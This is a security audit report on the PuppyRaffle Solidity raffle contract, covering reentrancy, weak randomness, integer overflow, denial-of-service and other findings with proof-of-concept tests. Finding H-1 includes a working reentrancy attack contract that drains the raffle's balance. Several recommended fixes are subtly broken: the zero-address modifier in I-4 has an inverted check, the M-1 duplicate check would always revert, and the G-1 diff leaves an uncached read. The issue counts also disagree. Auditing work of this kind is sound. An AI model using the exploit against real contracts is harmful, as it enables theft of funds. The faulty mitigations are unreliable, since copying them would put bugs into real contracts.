



PuppyRaffle Protocol Audit Report

Version 1.0

Audited by:

LAU LOK JING

May 5, 2026

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy-attack in `PuppyRaffle::refund` Allows `msg.sender` to Drain The Contract Balance
 - * [H-2] Weak Randomness In `PuppyRaffle::selectWinner` Creates Predictable Winner
 - * [H-3] Integer Overflow - `PuppyRaffle::totalFees`
 - Medium
 - * [M-1] The Duplicate Check for `players` in `PuppyRaffle::enterRaffle` Is a Potential DoS Vector Resulting In Economically Infeasible Gas Cost For Next Entrants
 - * [M-2] `PuppyRaffle::withdrawFees` Can Be Conditioned to Always Revert, Result in Locked Fees
 - * [M-3] Unsafe Cast of `PuppyRaffle::fee` Result in Fees Lost
 - * [M-4]: Centralization Risk for Trusted owner
 - Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` Has An Ambiguous Returns for Player At Index Zero
 - Informational or Non-Critical
 - * [I-1] Floating Pragma and Outdated Solc Version Used
 - * [I-2] Magic Numbers Should Be Avoided To Increase Code Maintainability
 - * [I-3] Low Test Coverage Indicates Untested Edge Cases
 - * [I-4] Missing Zero Address Validation Can Lead To Unrecoverable Fund
 - * [I-5] `PuppyRaffle::selectWinner` Does Not Follow CEI

- * [I-6] `PuppyRaffle::_isActivePlayer` Is Unused and Should Be Removed
- * [I-7] Unchanged Variables Should Be Cast As Constant or Immutable To Save Gas
- * [I-8] Missing Zero Address Check in `PuppyRaffle::getActivePlayerIndex`
- * [I-9] In `PuppyRaffle::selectWinner`, The Winner Could Reject The Transaction Resulting Unexpected Behaviour
- * [I-10] Missing Indexed Field in Events
- Gas Optimization
 - * [G-1] Repeatedly Reading The Same Variable From Storage Should Be Avoided

Protocol Summary

Puppy Raffle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

I, Lau Lok Jing makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
1 2a47715b30cf11ca82db148704e67652ad679cd8
```

Github Repository: github.com/Cyfrin/4-puppy-raffle-audit

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

A total of 19 risks are found which composed of 3 highs, 4 mediums, 1 low, and 11 informational. About 20 hours are spent on the findings using Static Analysis tools from Slither and Aderyn, and Fuzz tests from Foundry.

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	10
Gas Optimizations	1
Total	19

Findings

High

[H-1] Reentrancy-attack in `PuppyRaffle::refund` Allows `msg.sender` to Drain The Contract Balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI which enables `msg.sender` to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

Impact: All fees paid by raffle entrants can be drain by a malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Add the scripts below into `PuppyRaffleTest.t.sol`. Run `forge test --mt test_canReenterSuccessfully` to show that the `maliciousActor` can indeed drain the contract's balance.

Proof of Code

```
1  PuppyRaffleTest.t.sol:
2
3      contract MaliciousActor {
4          PuppyRaffle immutable puppyRaffle;
5          uint256 immutable ENTRANCE_FEE;
6
7          constructor(PuppyRaffle _puppyRaffle, uint256 _entranceFee) {
8              puppyRaffle = _puppyRaffle;
9              ENTRANCE_FEE = _entranceFee;
10         }
11
12         function drainFunds() public payable {
13             address[] memory players = new address[](1);
14             players[0] = address(this);
15             puppyRaffle.enterRaffle{value: ENTRANCE_FEE}(players);
16             uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
17                 address(this));
18             puppyRaffle.refund(playerIndex);
19         }
20
21         receive() external payable {
22             if (address(puppyRaffle).balance >= ENTRANCE_FEE) {
23                 uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
24                     address(this));
25                 puppyRaffle.refund(playerIndex);
26             }
27         }
28
29         function test_canReenterSuccessfully() public playersEntered {
30             vm.warp(block.timestamp + duration + 1);
31             vm.roll(block.number + 1);
32
33             uint256 STARTING_BAL = 1 ether;
34             uint256 RAFFLE_BAL = address(puppyRaffle).balance;
35
36             MaliciousActor malActor = new MaliciousActor(puppyRaffle,
37                 entranceFee);
38             address maliciousActor = address(malActor);
39             vm.deal(maliciousActor, STARTING_BAL);
40
41             address[] memory players = new address[](1);
42             players[0] = maliciousActor;
43
44             malActor.drainFunds();
45             uint256 ENDING_BAL = address(maliciousActor).balance;
46
47             assertEq(ENDING_BAL, STARTING_BAL + RAFFLE_BAL);
48         }
49     }
```

Recommended Mitigation: There are two recommendation should be made to this: 1. The function `PuppyRaffle::refund` should adhere to CEI/FREI-PI by updating the `PuppyRaffle::players` state to zero address before any interactions:

```
1 PuppyRaffle.sol:
2     function refund(uint256 playerIndex) public {
3         address playerAddress = players[playerIndex];
4         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
6
7 -         payable(msg.sender).sendValue(entranceFee);
8
9         players[playerIndex] = address(0);
10        emit RaffleRefunded(playerAddress);
11
12 +         (bool success,) = msg.sender.call{value: entranceFee}("");
13 +         require(success, "PuppyRaffle: Failed to refund player");
14     }
```

2. Any functions that interact with external calls should implement OpenZeppelin `nonReentrancy` modifier to prevent reentrancy.

```
1 PuppyRaffle.sol:
2     pragma solidity ^0.7.6;
3
4 +     import { ReentrancyGuard } from "@openzeppelin/contracts/utils/
           ReentrancyGuard.sol";
5     import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.
           sol";
6     import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
7     import {Address} from "@openzeppelin/contracts/utils/Address.sol";
8     import {Base64} from "lib/base64/base64.sol";
9     ...
10 -     contract PuppyRaffle is ERC721, Ownable {
11 +     contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
12         ...
13
14 -     function refund(uint256 playerIndex) public {
15 +     function refund(uint256 playerIndex) public nonReentrant {
```


[H-2] Weak Randomness In `PuppyRaffle::selectWinner` Creates Predictable Winner

Description: The three inputs used in determining `PuppyRaffle::winnerIndex: msg.sender`, `block.timestamp`, `block.difficulty` are deterministic. Similarly, `PuppyRaffle::rarity` is also predictable. Malicious users can predict and manipulate these values ahead of time to choose the winner of the raffle themselves based on the rarity of the puppy calculated.

```
1 function selectWinner() external {
2     require(block.timestamp >= raffleStartTime + raffleDuration, "
      PuppyRaffle: Raffle not over");
3     require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
      );
4     @> uint256 winnerIndex =
5         uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
      block.difficulty))) % players.length;
6         ...
7     uint256 tokenId = totalSupply();
8
9     // We use a different RNG calculate from the winnerIndex to
      determine rarity
10    @> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
      block.difficulty))) % 100;
```

Impact: Predictable winner breaks the contract main functionality, destroying the raffle validity in selecting a random winner.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. Refer to the solidity blog on `prevrando` here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Recommend to use a decentralise oracle for the contract randomness, for instance, Chainlink VRF (Verifiable Random Function).

[H-3] Integer Overflow - `PuppyRaffle::totalFees`

Description: In Solidity versions prior to 0.8.0, integers are subject to integer overflows.

Impact: Inaccurate tracking on total fees collected, resulting in loss of funds when collected by `PuppyRaffle::feeAddress` in `PuppyRaffle::withdrawFees`.

Proof of Concept:

1. Calculate the maximum number of entrants before overflowing the `PuppyRaffle::totalFees`.
2. Increase that by 1 and overflow `PuppyRaffle::totalFees`.

Note: The total number of entrants calculated before overflow for `entranceFee` equal to 1 ether is 92.

Proof of Code

```
1  PuppyRaffleTest.t.sol:
2
3      function test_canOverflowTotalFees() public {
4          uint256 FEE_PERCENTAGE = 20;
5          uint256 TOTAL_PERCENTAGE = 100;
6          address malActor = makeAddr("maliciousActor");
7          uint256 minEntranceFeesToOverflowFees = type(uint64).max *
              TOTAL_PERCENTAGE / FEE_PERCENTAGE;
8          // Round up to ensure overflow
9          uint256 noOfPlayersToOverflow = minEntranceFeesToOverflowFees /
              entranceFee + 1;
10         // totalEntranceFees needs to be a multiply of `entranceFee`
11         uint256 totalEntranceFees = noOfPlayersToOverflow * entranceFee
            ;
12         address[] memory players = new address[] (noOfPlayersToOverflow)
            ;
13
14         vm.deal(malActor, totalEntranceFees);
15
16         uint256 RAFFLE_BAL = address(puppyRaffle).balance;
17         assertEq(RAFFLE_BAL, 0);
18
19         for (uint256 i = 0; i < noOfPlayersToOverflow; i++) {
20             players[i] = address(uint160(i));
21         }
22
23         uint256 expectedTotalFeesAfterOverflow =
24             totalEntranceFees * FEE_PERCENTAGE / TOTAL_PERCENTAGE -
                type(uint64).max;
25
26         vm.prank(malActor);
27         puppyRaffle.enterRaffle{value: totalEntranceFees}(players);
28         vm.warp(block.timestamp + duration + 1);
29         vm.roll(block.number + 1);
30         puppyRaffle.selectWinner();
31
32         uint256 totalFees = puppyRaffle.totalFees();
33
34         assertApproxEqAbs(totalFees, expectedTotalFeesAfterOverflow, 1
            wei);
35     }
36 }
```

Recommended Mitigation: Upgrade the solc version to 0.8.18 or if insist on using the current solc version, use `SafeMath` library from OpenZeppelin for `PuppyRaffle:totalFees`. Regardless, use `uint256` for `PuppyRaffle:totalFees`.

```
1 PuppyRaffle.sol:
2     pragma solidity ^0.7.6;
3
4 +     import "@openzeppelin/contracts/math/SafeMath.sol";
5     import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.
        sol";
6
7     contract PuppyRaffle is ERC721, Ownable {
8 +         using SafeMath for uint256;
9         ...
10        function selectWinner() external {
11            ...
12            uint256 fee = (totalAmountCollected * 20) / 100;
13 -            totalFees = totalFees + uint64(fee);
14 +            totalFees += fee;
15            uint256 tokenId = totalSupply();
16            ...
```

Medium

[M-1] The Duplicate Check for `players` in `PuppyRaffle::enterRaffle` Is a Potential DoS Vector Resulting In Economically Infeasible Gas Cost For Next Entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. In other words, the increase in the length of `players` will unproportionally increase the gas cost for the participant in comparison to the first participant.

Impact: It will be economically unfeasible for participant to partake in the raffle when the cost to enter the raffle is greater than the prize of the raffle.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252039 - 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
1      // Check for duplicates
2  @>   for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
               Duplicate player");
5         }
6     }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Allow duplicates. Since each user pays the fix `PuppyRaffle::entranceFee`, if the contract intend to prevent the same user from entering the raffle, it should be through KYC (Know Your Customer) not duplicate address since the same user could have more than one addresses on the Ethereum blockchain.
2. Declare a mapping `PuppyRaffle::addressToRaffleId` with the type of `mapping(address player => uint256 raffleId)` to check duplicates. This reduces the check duration to constant instead of linear.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 1; // Avoid using 0 as is default values
   for the mapping
3   .
4   .
5   .
6   function enterRaffle(address[] memory newPlayers) public payable {
7       require(msg.value == entranceFee * newPlayers.length, "
8           PuppyRaffle: Must send enough to enter raffle");
9       for (uint256 i = 0; i < newPlayers.length; i++) {
10          players.push(newPlayers[i]);
11          addressToRaffleId[newPlayers[i]] = raffleId;
12      }
13      // Check for duplicates
14      // Check for duplicates only from the new players
15      for (uint256 i = 0; i < newPlayers.length; i++) {
16          require(addressToRaffleId[newPlayers[i]] != raffleId, "
17              PuppyRaffle: Duplicate player");
18      }
19      for (uint256 i = 0; i < players.length; i++) {
20          for (uint256 j = i + 1; j < players.length; j++) {
21              require(players[i] != players[j], "PuppyRaffle:
22                  Duplicate player");
23          }
24      }
25      emit RaffleEnter(newPlayers);
26  }
27  .
28  .
29  function selectWinner() external {
30      raffleId = raffleId + 1;
31      require(block.timestamp >= raffleStartTime + raffleDuration, "
32          PuppyRaffle: Raffle not over");
33      ...
```

[M-2] PuppyRaffle::withdrawFees Can Be Conditioned to Always Revert, Result in Locked Fees

Description: The withdrawing condition of `PuppyRaffle::withdrawFees` requires `totalFees` equals to `address(this).balance`, the balance of the contract. Anyone send an arbitrary amount of ETH to the `PuppyRaffle` contract using `selfdestruct`, forever invalidating the condition. The only exception is when `selfdestruct` is used to force sending ETH to the contract and set the condition back to true.

```
1     function withdrawFees() external {
2 @>         require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         ...
5     }
```

Impact: Consequently, anyone could forever jeopardize `feeAddress` from withdrawing fees resulting in unrecoverable funds.

Proof of Concept:

1. `PuppyRaffle` has `A` amount of ether in its `balance`, and `A` amount in `totalFees`.
2. A malicious user `selfdestruct` another contract with `B` amount of ether in balance, and designated `PuppyRaffle` as the destination address.
3. `address(this).balance == uint256(totalFees)` is now always **false**.

Recommended Mitigation: Avoid using `address(this).balance` and remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2 -         require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         ...
6     }
```

[M-3] Unsafe Cast of `PuppyRaffle::fee` Result in Fees Lost

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
           );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9     @>   totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Recommended Mitigation: Use type `uint256` for `PuppyRaffle::totalFees`.

[M-4]: Centralization Risk for Trusted owner

Description: Contracts have owner with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates.

```
1 >@ contract PuppyRaffle is ERC721, Ownable {
2     ...
3 >@     function changeFeeAddress(address newFeeAddress) external
         onlyOwner {
4         feeAddress = newFeeAddress;
5         emit FeeAddressChanged(newFeeAddress);
6     }
7     ...
8 }
```


Low**[L-1] PuppyRaffle::getActivePlayerIndex Has An Ambiguous Returns for Player At Index Zero**

Description: The `PuppyRaffle::getActivePlayerIndex` function uses 0 to indicate inactive player but does not account for the scenario when player at index zero of `PuppyRaffle::Players` is a player. In other words, when the input of the function is an address at index zero, the function will always return 0 as an ambiguous answer that is either player's index or inactive.

Recommended Mitigation: There are a few ways to mitigate this:

1. Use `type(uint256).max` to signal that the given player is inactive, so as to avoid collision with indices of active players.
2. Revert when the player is inactive.
3. Use type `int256` for return variable, and return -1 to indicates an inactive player.
4. Reserve the 0 index of `PuppyRaffle::Players`.

Informational or Non-Critical

[I-1] Floating Pragma and Outdated Solc Version Used

Description: Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, an outdated compiler version that might introduce bugs that affect the contract system negatively.

1. Version constraint `^0.7.6` contains known severe issues:
 - FullInlinerNonExpressionSplitArgumentEvaluationOrder
 - MissingSideEffectsOnSelectorAccess
 - AbiReencodingHeadOverflowWithStaticArrayCleanup
 - DirtyByteArrayToStorage
 - DataLocationChangeInInternalOverride
 - NestedCalldataArrayAbiReencodingSizeValidation
 - SignedImmutables
 - ABIDecodeTwoDimensionalArrayMemory

2. `solc-0.7.6` is an outdated solc version.

Recommended Mitigation: Lock up and use a more recent pragma versions:

```
1 - pragma solidity ^0.7.6;  
2 + pragma solidity 0.8.18;
```

[I-2] Magic Numbers Should Be Avoided To Increase Code Maintainability

Description: Numbers without context are called “magic numbers”. They should be replaced with constants to increase the readability and maintainability of the code.

Recommended Mitigation: Replace all magic numbers with constants:

```

1 +      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 +      uint256 public constant FEE_PERCENTAGE = 20;
3 +      uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 -      uint256 prizePool = (totalAmountCollected * 80) / 100;
8 -      uint256 fee = (totalAmountCollected * 20) / 100;
9      uint256 prizePool = (totalAmountCollected *
      PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10     uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
      TOTAL_PERCENTAGE;

```

[I-3] Low Test Coverage Indicates Untested Edge Cases

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

1	File	% Lines	% Statements
2	% Branches % Funcs		
3	----- -----		
3	script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)
4	src/PuppyRaffle.sol	84.00% (63/75)	84.71% (72/85)
5	test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)
6	Total	80.60% (54/67)	81.52% (75/92)

[I-4] Missing Zero Address Validation Can Lead To Unrecoverable Fund

Description: Lack of zero address validation for `PuppyRaffle::feeAddress` and fees would be lost when it is set to zero.

```
1 src/PuppyRaffle.sol:
2   - [L#62 ]: feeAddress = _feeAddress
3   - [L#168]: feeAddress = newFeeAddress
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

```
1 modifier notZeroAddress(address _address) {
2     require(_address == address(0), "PuppyRaffle: Zero address is not
3         allowed");
4     _;
5 }
6 @> constructor(uint256 _entranceFee, address _feeAddress, uint256
7     _raffleDuration) ERC721("Puppy Raffle", "PR") notZeroAddress(
8     _feeAddress) {...}
9
10 @> function changeFeeAddress(address newFeeAddress) external onlyOwner
11     notZeroAddress(newFeeAddress){...}
```

[I-5] PuppyRaffle::selectWinner Does Not Follow CEI

Description: For best practices, it is advised for any protocol to adhere to CEI (Checks, Effects, Interactions).

```
1 PuppyRaffle.s.sol:
2   function selectWinner() external {
3       ...
4       (bool success,) = winner.call{value: prizePool}("");
5       require(success, "PuppyRaffle: Failed to send prize pool to
6           winner");
7       _safeMint(winner, tokenId);
8       (bool success,) = winner.call{value: prizePool}("");
9       require(success, "PuppyRaffle: Failed to send prize pool to
10          winner");
11   }
```

[I-6] PuppyRaffle::_isActivePlayer Is Unused and Should Be Removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```

[I-7] Unchanged Variables Should Be Cast As Constant or Immutable To Save Gas

Constant Instances:

```
1 PuppyRaffle.sol:
2 - [L#35]: PuppyRaffle::commonImageUri
3 - [L#40]: PuppyRaffle::rareImageUri
4 - [L#45]: PuppyRaffle::legendaryImageUri
```

Immutable Instances:

```
1 PuppyRaffle.sol:
2 - [L#21]: PuppyRaffle.raffleDuration
```

[I-8] Missing Zero Address Check in PuppyRaffle::getActivePlayerIndex

Description: The `PuppyRaffle::refund` initializes refunded players' address `PuppyRaffle::players` to Zero address (`address(0)`) but `PuppyRaffle::getActivePlayerIndex` does not perform zero address check. Consequently, if the input variable `getActivePlayerIndex::player` is address zero, the first refunded index will be falsely treated as active player index.

Recommended Mitigation: Add Zero Address Validation modifier to `PuppyRaffle::getActivePlayerIndex` mentioned in finding [I-4].

[I-9] In `PuppyRaffle::selectWinner`, The Winner Could Reject The Transaction Resulting Unexpected Behaviour

Description: A smart contract `Winner` that has no fallback or receive function, or with malicious intent could revert the function when `PuppyRaffle` is sending the `PuppyRaffle::prizePool` to the `Winner`. Furthermore, minting an NFT to the `Winner` using the `_safeMint` function inherited from the `ERC721` contract, will attempt to call the `onERC721Received` hook on the receiver if it is a smart contract, which will revert when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Recommended Mitigation: Instead of **pushing** the prize to the `Winner`, when `PuppyRaffle::selectWinner` is called, store the `Winner` prize and puppy's rarity in a mapping of `mapping(address winner => uint256 prize)` and `mapping(address winner => uint256 rarity)`, and implement another function `PuppyRaffle::claimPrize` for `Winners` to claim the prize and NFT by themselves.

The advantages to this design are: 1. Prevent unexpected reverts from `(bool success,) = winner.call{value: prizePool}("");` and `_safeMint(winner, tokenId);`. 2. Ensure that every call to `PuppyRaffle::selectWinner` designates a `Winner` without reverts.

The disadvantage is the increase in gas costs because of the suggested storage variables and the function.

[I-10] Missing Indexed Field in Events

Description Index event fields make the field more quickly accessible to off-chain tools that parse events but costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields).

```
1 PuppyRaffle.sol:
2   - [L#53]: PuppyRaffle::RaffleEnter
3   - [L#54]: PuppyRaffle::RaffleRefunded
4   - [L#55]: PuppyRaffle::FeeAddressChanged
```

Recommended Mitigation: Add indexed field to:

```
1   // Events
2   - event RaffleEnter(address[] newPlayers);
3   - event RaffleRefunded(address player);
4   - event FeeAddressChanged(address newFeeAddress);
5   + event RaffleEnter(address[] indexed newPlayers);
6   + event RaffleRefunded(address indexed player);
7   + event FeeAddressChanged(address indexed newFeeAddress);
```

Gas Optimization

[G-1] Repeatedly Reading The Same Variable From Storage Should Be Avoided

Description: Reading from storage variable is more gas expensive than reading from memory. In function `PuppyRaffle::enterRaffle`, `players.length` are read `n` times where `n = no. of players`.

Recommended Mitigation: Cache the variable `PuppyRaffle::players.length` to memory:

```
1 PuppyRaffle.sol:
2   function enterRaffle(address[] memory newPlayers) public payable {
3       ...
4   +   uint256 playersLength = players.length;
5   -   for (uint256 i = 0; i < players.length - 1; i++) {
6   +   for (uint256 i = 0; i < players.length - 1; i++) {
7   -       for (uint256 j = i + 1; j < players.length; j++) {
8   +       for (uint256 j = i + 1; j < playersLength; j++) {
9           require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
10      }
11  }
12      emit RaffleEnter(newPlayers);
13  }
```